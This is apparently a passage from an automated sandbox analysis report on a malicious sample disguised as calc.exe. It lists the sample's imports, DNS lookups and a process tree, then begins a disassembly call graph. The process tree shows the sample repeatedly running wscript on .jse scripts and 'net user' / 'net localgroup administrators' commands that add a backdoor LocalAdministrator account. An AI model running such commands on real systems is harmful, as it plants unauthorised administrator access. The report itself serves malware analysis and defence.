    RT_GROUP_ICON0x899000x14dataEnglishGreat Britain1.15
    RT_GROUP_ICON0x899180x14dataEnglishGreat Britain1.15
    RT_GROUP_ICON0x899300x14dataEnglishGreat Britain1.25
    RT_VERSION0x899480x19cdataEnglishGreat Britain0.5533980582524272
    RT_MANIFEST0x89ae80x3a3XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishGreat Britain0.4790547798066595

    Imports

    DLLImport
    KERNEL32.DLLLoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
    ADVAPI32.dllRegCloseKey
    COMCTL32.dllImageList_Remove
    comdlg32.dllGetSaveFileNameW
    GDI32.dllLineTo
    MPR.dllWNetUseConnectionW
    ole32.dllCoInitialize
    OLEAUT32.dllGetActiveObject
    SHELL32.dllDragFinish
    USER32.dllGetDC
    VERSION.dllVerQueryValueW
    WINMM.dlltimeGetTime
    WSOCK32.dlllisten

    Possible Origin

    Language of compilation systemCountry where language is spokenMap
    EnglishGreat Britain

    Network Behavior

    DNS Answers

    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
    Oct 1, 2024 21:45:10.919738054 CEST1.1.1.1192.168.2.60x8d46No error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
    Oct 1, 2024 21:45:10.919738054 CEST1.1.1.1192.168.2.60x8d46No error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false

    Statistics

    CPU Usage

    Click to jump to process

    Memory Usage

    Click to jump to process

    High Level Behavior Distribution

    Click to dive into process behavior distribution

    Behavior

    Click to jump to process

    System Behavior

    General

    Target ID:0
    Start time:15:44:53
    Start date:01/10/2024
    Path:C:\Users\user\Desktop\calc.exe
    Wow64 process (32bit):true
    Commandline:"C:\Users\user\Desktop\calc.exe"
    Imagebase:0x400000
    File size:206'377 bytes
    MD5 hash:2F9FDAD776D8626F2CE8625211831E91
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:low
    Has exited:true

    General

    Target ID:2
    Start time:15:44:53
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\wscript.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse
    Imagebase:0xf70000
    File size:147'456 bytes
    MD5 hash:FF00E0480075B095948000BDC66E81F0
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:3
    Start time:15:44:54
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:4
    Start time:15:44:54
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:5
    Start time:15:44:54
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:6
    Start time:15:44:54
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:7
    Start time:15:44:54
    Start date:01/10/2024
    Path:C:\Users\user\Desktop\calc.exe
    Wow64 process (32bit):true
    Commandline:"C:\Users\user\Desktop\calc.exe"
    Imagebase:0x400000
    File size:206'377 bytes
    MD5 hash:2F9FDAD776D8626F2CE8625211831E91
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:low
    Has exited:true

    General

    Target ID:8
    Start time:15:44:54
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:9
    Start time:15:44:54
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:10
    Start time:15:44:54
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\wscript.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\wscript.exe" IDsLsRQlEe.jse
    Imagebase:0xf70000
    File size:147'456 bytes
    MD5 hash:FF00E0480075B095948000BDC66E81F0
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:11
    Start time:15:44:55
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:12
    Start time:15:44:55
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high
    Has exited:true

    General

    Target ID:13
    Start time:15:44:55
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:14
    Start time:15:44:55
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:15
    Start time:15:44:55
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:16
    Start time:15:44:55
    Start date:01/10/2024
    Path:C:\Users\user\Desktop\calc.exe
    Wow64 process (32bit):true
    Commandline:"C:\Users\user\Desktop\calc.exe"
    Imagebase:0x400000
    File size:206'377 bytes
    MD5 hash:2F9FDAD776D8626F2CE8625211831E91
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:17
    Start time:15:44:55
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:18
    Start time:15:44:56
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\wscript.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\wscript.exe" cNs6XgJUw5.jse
    Imagebase:0xf70000
    File size:147'456 bytes
    MD5 hash:FF00E0480075B095948000BDC66E81F0
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:19
    Start time:15:44:56
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:20
    Start time:15:44:56
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:21
    Start time:15:44:56
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:22
    Start time:15:44:56
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:23
    Start time:15:44:56
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:24
    Start time:15:44:56
    Start date:01/10/2024
    Path:C:\Users\user\Desktop\calc.exe
    Wow64 process (32bit):true
    Commandline:"C:\Users\user\Desktop\calc.exe"
    Imagebase:0x400000
    File size:206'377 bytes
    MD5 hash:2F9FDAD776D8626F2CE8625211831E91
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:25
    Start time:15:44:56
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:26
    Start time:15:44:57
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\wscript.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\wscript.exe" rbLiDVEIXX.jse
    Imagebase:0xf70000
    File size:147'456 bytes
    MD5 hash:FF00E0480075B095948000BDC66E81F0
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:27
    Start time:15:44:58
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:28
    Start time:15:44:58
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:29
    Start time:15:44:58
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:30
    Start time:15:44:58
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:31
    Start time:15:44:58
    Start date:01/10/2024
    Path:C:\Users\user\Desktop\calc.exe
    Wow64 process (32bit):true
    Commandline:"C:\Users\user\Desktop\calc.exe"
    Imagebase:0x400000
    File size:206'377 bytes
    MD5 hash:2F9FDAD776D8626F2CE8625211831E91
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:32
    Start time:15:44:58
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:33
    Start time:15:44:58
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:34
    Start time:15:44:58
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\wscript.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\wscript.exe" iy4J2BVXGi.jse
    Imagebase:0xf70000
    File size:147'456 bytes
    MD5 hash:FF00E0480075B095948000BDC66E81F0
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:35
    Start time:15:44:59
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:36
    Start time:15:44:59
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:37
    Start time:15:44:59
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:38
    Start time:15:44:59
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:39
    Start time:15:44:59
    Start date:01/10/2024
    Path:C:\Users\user\Desktop\calc.exe
    Wow64 process (32bit):true
    Commandline:"C:\Users\user\Desktop\calc.exe"
    Imagebase:0x400000
    File size:206'377 bytes
    MD5 hash:2F9FDAD776D8626F2CE8625211831E91
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:40
    Start time:15:44:59
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:41
    Start time:15:44:59
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:42
    Start time:15:45:00
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\wscript.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\wscript.exe" G0MZ6GMwly.jse
    Imagebase:0xf70000
    File size:147'456 bytes
    MD5 hash:FF00E0480075B095948000BDC66E81F0
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:43
    Start time:15:45:01
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:44
    Start time:15:45:01
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:45
    Start time:15:45:01
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:46
    Start time:15:45:01
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:47
    Start time:15:45:01
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:48
    Start time:15:45:01
    Start date:01/10/2024
    Path:C:\Users\user\Desktop\calc.exe
    Wow64 process (32bit):true
    Commandline:"C:\Users\user\Desktop\calc.exe"
    Imagebase:0x400000
    File size:206'377 bytes
    MD5 hash:2F9FDAD776D8626F2CE8625211831E91
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:49
    Start time:15:45:01
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net1.exe
    Wow64 process (32bit):true
    Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
    Imagebase:0x530000
    File size:139'776 bytes
    MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:50
    Start time:15:45:01
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\wscript.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\wscript.exe" fevGSHOMU4.jse
    Imagebase:0xf70000
    File size:147'456 bytes
    MD5 hash:FF00E0480075B095948000BDC66E81F0
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:51
    Start time:15:45:02
    Start date:01/10/2024
    Path:C:\Windows\SysWOW64\net.exe
    Wow64 process (32bit):true
    Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
    Imagebase:0x580000
    File size:47'104 bytes
    MD5 hash:31890A7DE89936F922D44D677F681A7F
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    General

    Target ID:52
    Start time:15:45:02
    Start date:01/10/2024
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff66e660000
    File size:862'208 bytes
    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Has exited:true

    Disassembly

    Reset < >

      Execution Graph

      Execution Coverage:4.8%
      Dynamic/Decrypted Code Coverage:0%
      Signature Coverage:10.7%
      Total number of Nodes:1881
      Total number of Limit Nodes:23
      execution_graph 48602 401641 48605 40165b 48602->48605 48606 40166e 48605->48606 48607 401782 48606->48607 48608 40167f 48606->48608 48642 401657 48606->48642 48611 4017fb 48607->48611 48612 40178b 48607->48612 48609 401685 48608->48609 48610 40174c 48608->48610 48615 401711 SetTimer RegisterClipboardFormatW 48609->48615 48616 40168e 48609->48616 48614 42a895 3 API calls 48610->48614 48677 4126bc 46 API calls 48611->48677 48617 4017eb 48612->48617 48618 40178f 48612->48618 48620 401777 48614->48620 48619 40173c CreatePopupMenu 48615->48619 48615->48642 48621 401691 48616->48621 48622 4016f2 KillTimer 48616->48622 48676 4125ea 39 API calls 48617->48676 48624 4017d3 48618->48624 48625 401796 48618->48625 48619->48642 48651 42026c 48620->48651 48628 4016d1 MoveWindow 48621->48628 48629 401696 48621->48629 48650 412dd7 Shell_NotifyIconW 48622->48650 48624->48642 48675 401825 34 API calls 48624->48675 48631 4017c1 48625->48631 48632 40179d 48625->48632 48628->48642 48635 4016c0 SetFocus 48629->48635 48636 40169a 48629->48636 48630 4017f9 48630->48642 48674 412e32 53 API calls 48631->48674 48632->48642 48672 412dd7 Shell_NotifyIconW 48632->48672 48633 401705 PostQuitMessage 48633->48642 48635->48642 48636->48632 48638 4016a3 48636->48638 48644 42a895 48638->48644 48641 4017ba 48673 4128c6 69 API calls 48641->48673 48645 42a8d4 48644->48645 48646 42a8a6 48644->48646 48645->48642 48678 42fcc3 LoadLibraryA GetProcAddress 48646->48678 48648 42a8bd 48648->48645 48649 42a8c4 Sleep 48648->48649 48649->48648 48650->48633 48679 4323fe 48651->48679 48659 4202d3 CharUpperBuffW 48694 418048 38 API calls 48659->48694 48661 4202f4 48662 418a14 VariantClear 48661->48662 48663 42030b 48662->48663 48664 416bfe 34 API calls 48663->48664 48665 420318 CharUpperBuffW 48664->48665 48695 418048 38 API calls 48665->48695 48667 420333 48696 421406 48667->48696 48671 420367 48671->48642 48672->48641 48673->48642 48674->48642 48675->48642 48676->48630 48677->48630 48678->48648 48680 416bfe 34 API calls 48679->48680 48681 43240f 48680->48681 48733 413afa 48681->48733 48683 420296 48683->48671 48684 416d00 48683->48684 48736 416f5d 48684->48736 48686 416d0d 48687 418a14 48686->48687 48688 4183f6 ctype VariantClear 48687->48688 48689 418a1b 48688->48689 48690 416bfe 48689->48690 48691 416c07 48690->48691 48692 449170 34 API calls 48691->48692 48693 416c16 48692->48693 48693->48659 48694->48661 48695->48667 48794 4181c7 48696->48794 48698 421424 48699 4181c7 37 API calls 48698->48699 48700 421436 48699->48700 48820 416c4c 48700->48820 48702 42146b 48703 4181c7 37 API calls 48702->48703 48704 4214ad 48703->48704 48705 4214c8 48704->48705 48846 416a9f 48704->48846 48823 4200f5 48705->48823 48709 4214e2 48711 4214f2 48709->48711 48852 421751 VariantClear 48709->48852 48853 418874 48711->48853 48714 4214fe 48715 418874 38 API calls 48714->48715 48716 42150a 48715->48716 48881 4034ed 34 API calls 48716->48881 48718 42151e 48882 416cee 34 API calls 48718->48882 48720 421535 48721 421574 48720->48721 48722 418874 38 API calls 48720->48722 48723 4183f6 ctype VariantClear 48721->48723 48722->48721 48724 42157c 48723->48724 48725 4183f6 ctype VariantClear 48724->48725 48726 42158d 48725->48726 48727 4183f6 ctype VariantClear 48726->48727 48728 42035d 48727->48728 48729 4183f6 48728->48729 48730 418401 ctype 48729->48730 48731 41840f VariantClear 48730->48731 48732 418416 ctype 48730->48732 48731->48732 48732->48671 48734 413b19 CharUpperBuffW 48733->48734 48735 413b0a 48733->48735 48734->48735 48735->48683 48737 416f6a 48736->48737 48740 416cb6 48737->48740 48739 416f75 48739->48686 48741 416cd3 48740->48741 48742 416cbe 48740->48742 48741->48739 48744 449170 48742->48744 48747 449ab3 48744->48747 48748 44917b 48747->48748 48750 449aba __getbuf 48747->48750 48748->48741 48750->48748 48751 449a38 48750->48751 48752 449a44 ___free_lc_time 48751->48752 48754 449a77 48752->48754 48761 44c6db 48752->48761 48753 449a92 RtlAllocateHeap 48756 449aa1 ___free_lc_time 48753->48756 48754->48753 48754->48756 48756->48750 48757 449a5f 48768 44e8f5 5 API calls __getbuf 48757->48768 48759 449a6a 48769 449aaa RtlLeaveCriticalSection __lock 48759->48769 48762 44c701 RtlEnterCriticalSection 48761->48762 48763 44c6ee 48761->48763 48762->48757 48770 44c63b 48763->48770 48765 44c6f4 48765->48762 48793 44be4f 34 API calls _fast_error_exit 48765->48793 48767 44c700 48767->48762 48768->48759 48769->48754 48771 44c647 ___free_lc_time 48770->48771 48772 449adf __getbuf 34 API calls 48771->48772 48776 44c66a ___free_lc_time 48771->48776 48773 44c65e 48772->48773 48774 44c665 48773->48774 48775 44c672 48773->48775 48777 44d915 __umatherr 34 API calls 48774->48777 48778 44c6db __lock 34 API calls 48775->48778 48776->48765 48777->48776 48779 44c679 48778->48779 48780 44c681 48779->48780 48781 44c6b9 48779->48781 48783 454432 __lock GetProcAddress 48780->48783 48782 449c88 ___free_lc_time 34 API calls 48781->48782 48784 44c6bf 48782->48784 48785 44c68c 48783->48785 48788 44c6d2 __lock RtlLeaveCriticalSection 48784->48788 48786 44c6b5 48785->48786 48787 44c692 48785->48787 48786->48784 48789 449c88 ___free_lc_time 34 API calls 48787->48789 48788->48776 48790 44c698 48789->48790 48791 44d915 __umatherr 34 API calls 48790->48791 48792 44c69d __lock 48791->48792 48792->48776 48793->48767 48795 4181e2 48794->48795 48819 4181ff 48794->48819 48796 418270 48795->48796 48797 4182b5 48795->48797 48798 4182d5 48795->48798 48799 4181e9 48795->48799 48800 41822c 48795->48800 48795->48819 48806 449170 34 API calls 48796->48806 48796->48819 48803 449170 34 API calls 48797->48803 48802 449170 34 API calls 48798->48802 48801 449170 34 API calls 48799->48801 48804 449170 34 API calls 48800->48804 48805 4181f0 48801->48805 48807 4182dc 48802->48807 48808 4182bc 48803->48808 48804->48819 48814 416c4c 34 API calls 48805->48814 48805->48819 48809 41827f VariantInit VariantCopy 48806->48809 48810 4182ed 48807->48810 48811 41830e 48807->48811 48818 4182c8 48808->48818 48883 41817f 34 API calls 